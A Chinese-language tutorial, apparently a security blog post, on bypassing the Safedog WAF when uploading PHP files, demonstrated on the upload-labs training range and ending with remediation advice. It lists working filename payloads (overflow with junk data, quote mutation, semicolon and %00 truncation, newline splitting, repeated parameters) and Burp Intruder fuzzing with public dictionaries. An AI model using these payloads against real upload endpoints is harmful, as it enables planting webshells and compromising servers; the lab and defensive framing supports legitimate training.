­

文件上傳之WAF繞過及相安全防護

文件上傳在數據包中可修改的地方

  1. Content-Disposition:一般可更改

  2. name:表單參數值,不能更改

  3. filename:文件名,可以更改

  4. Content-Type:文件 MIME,視情況更改

常見繞過WAF的方法

  1. 數據溢出-防止WAF匹配(xxx…)’
  2. 符號變異-防止WAF匹配(’ ” ;)
  3. 數據截斷-防止WAF匹配(%00 ; 換行)
  4. 重複數據-防止WAF匹配(參數多次)

WAF繞過簡單演示

我以靶場upload-labs第二關進行演示。
我們開啟安全狗的上傳防護:
image
第2關上傳一個php文件,被安全狗檢測到且被攔截:
image
php加上空格”ph p”,可上傳,但無法解析。
image

1. 垃圾數據溢出法

  • filename的內容進行溢出。
    image
    filename的內容進行溢出雖然可以繞過WAF但是我無法將php文件上傳至服務器。
    image
  • name與filename之間進行溢出
    也可繞過WAF但是無法上傳php文件。
    image
    image
  • 大量垃圾數據後加「;」
    Content-Disposition與name之間的垃圾數據加上分號可繞過安全狗。
    image
    可成功上傳php文件
    image
    經測試,name與filename之間的垃圾數據也可繞過。
    image

2. 符號變異繞過

可用payload:

filename=" xx.php
filename="x x.php
filename=' xx.php
filename='x x.php
  • filename的內容用單引號括起來(被攔截)
    image
    顯然被攔截
  • filename去掉最後一個雙引號(被攔截)
    image
    被攔截
  • filename去掉最後一個雙引號,再加上分號(後綴不能被解析)
    image
    可繞過,可上傳,但是無法被解析
  • filename去掉最後一個雙引號,在文件名後綴前任意位置加空格(可行)
    image
    可繞過WAF,可上傳。
  • 單引號與雙引號一致。
  • 只在末尾加雙引號(被攔截)
    image
  • 文件名前加雙引號或單引號(無法解析)
    文件名前加雙引號或單引號可繞過waf,也可上傳,但是無法解析。
    image
  • 文件名中加入圖片後綴提前用分號截斷

3. 數據截斷繞過

可用payload:

filename="x.jpg;shell.php"
filename="x.jpg;shell.php
filename='x.jpg;shell.php
filename="shell.php%00xx.jpg" 注意%00要編碼
  • 文件名中加入圖片後綴提前用分號截斷(可行)
    原因是防護軟件只檢測前面的部分,一旦正確就放行,不再檢測後面的
    image
    同理結合符號變形可有:
filename="x.jpg;shell.php
filename='x.jpg;shell.php
·····
  • 文件名中用%00url編碼截斷(可行)
    image

4. 數據換行截斷

可用payload:

x.ph
p

x.p
h
p

x.
p
h
p

x
.
p
h
p
  • 直接在數據包中進行換行操作(可行)
    image
    image
    image

5. 重複數據繞狗(參數多次)

  • 重複filename
    前面的filename為可接受的文件格式,最後一個為php文件格式,前面的重複多次,可繞過。
    image
  • filename中配合其他參數
    配合Content-Type: image/jpeg:

6. “/”與”;”配合繞過

payload:

filename="/jpeg;x.php"
filename="/jpeg;/x.php"

image
image

7. FUZZ字典配合

字典地址:

//github.com/TheKingOfDuck/fuzzDicts
//github.com/fuzzdb-project/fuzzdb

手工測試的話有點麻煩,我們可以藉助寫好的字典配合BP進行批量測試,先在本地測試好了,再在真實環境進行測試,以防會封IP。
我藉助fuzzDicts的php字典進行測試。
首先將攔截的數據包發送至Intruder
image
清除所有變量
image
將filename的值設置為變量
image
payload加載字典:
image
開始攻擊:
image
能否成功取決於字典的好壞。

安全及修復建議

  1. 後端驗證:採用服務端驗證模式
  2. 後綴檢測:基於黑名單,白名單過濾
  3. MIME 檢測:基於上傳自帶類型檢測
  4. 內容檢測:文件頭,完整性檢測
  5. 自帶函數過濾:參考 uploadlabs關卡的函數
  6. 自定義函數過濾:function check_file(){}等
  7. WAF 防護產品:寶塔,雲盾,安全公司產品等